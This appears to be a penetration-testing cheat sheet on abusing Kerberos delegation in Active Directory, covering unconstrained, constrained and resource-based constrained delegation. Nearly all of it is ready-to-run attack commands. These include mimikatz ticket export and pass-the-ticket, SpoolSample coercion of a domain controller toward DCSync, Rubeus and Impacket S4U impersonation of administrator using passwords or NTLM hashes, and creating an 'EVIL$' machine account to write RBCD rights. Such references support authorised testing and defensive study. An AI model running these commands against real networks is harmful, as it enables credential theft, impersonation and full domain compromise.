Skip to main content

​
Unconstrained Delegation

Host with unconstrained delegation stores TGTs of connecting users. Compromise host → steal TGTs.

​
Find

Get-ADComputer -Filter {TrustedForDelegation -eq $true}
Get-DomainComputer -Unconstrained

ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" -D "[email protected]" -w 'pass' "(userAccountControl:1.2.840.113556.1.4.803:=524288)" sAMAccountName

​
Exploit

# On compromised host with unconstrained delegation
mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::ptt ticket.kirbi

​
Printer Bug (Coerce DC)

Force DC to auth to unconstrained delegation host: 
.\SpoolSample.exe DC_HOSTNAME COMPROMISED_HOSTNAME

# Catch TGT
mimikatz # sekurlsa::tickets /export
# Use DC TGT for DCSync

​
Constrained Delegation

Account can impersonate users to specific services only.

​
Find

Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" "(msDS-AllowedToDelegateTo=*)" sAMAccountName msDS-AllowedToDelegateTo

​
Exploit — Rubeus

.\Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.domain.local /ptt

​
Exploit — Impacket

impacket-getST -spn cifs/target.domain.local -impersonate administrator DOMAIN/svc_account:password -dc-ip DC_IP
export KRB5CCNAME=administrator.ccache
impacket-psexec domain.local/[email protected] -k -no-pass

​
With Hash

impacket-getST -spn cifs/target.domain.local -impersonate administrator DOMAIN/svc_account -hashes :NTLM_HASH -dc-ip DC_IP

​
Resource-Based Constrained Delegation (RBCD)

Write msDS-AllowedToActOnBehalfOfOtherIdentity on target machine. Need: write access to target computer object + ability to create machine account.

​
Check MAQ (Machine Account Quota)

crackmapexec ldap DC_IP -u user -p pass -M maq

​
Create Machine Account

impacket-addcomputer DOMAIN/user:password -computer-name 'EVIL$' -computer-pass 'Password123' -dc-ip DC_IP

​
Set Delegation

impacket-rbcd DOMAIN/user:password -delegate-from 'EVIL$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write

​
Get Ticket

impacket-getST -spn cifs/target.domain.local -impersonate administrator DOMAIN/'EVIL$':'Password123' -dc-ip DC_IP
export KRB5CCNAME=administrator.ccache
impacket-psexec domain.local/administrator@target -k -no-pass

​
Quick Reference

TypeFindExploit
UnconstrainedTrustedForDelegationSteal TGTs from memory
ConstrainedmsDS-AllowedToDelegateToS4U2Self + S4U2Proxy
RBCDWrite to computer objectCreate machine + rbcd + getST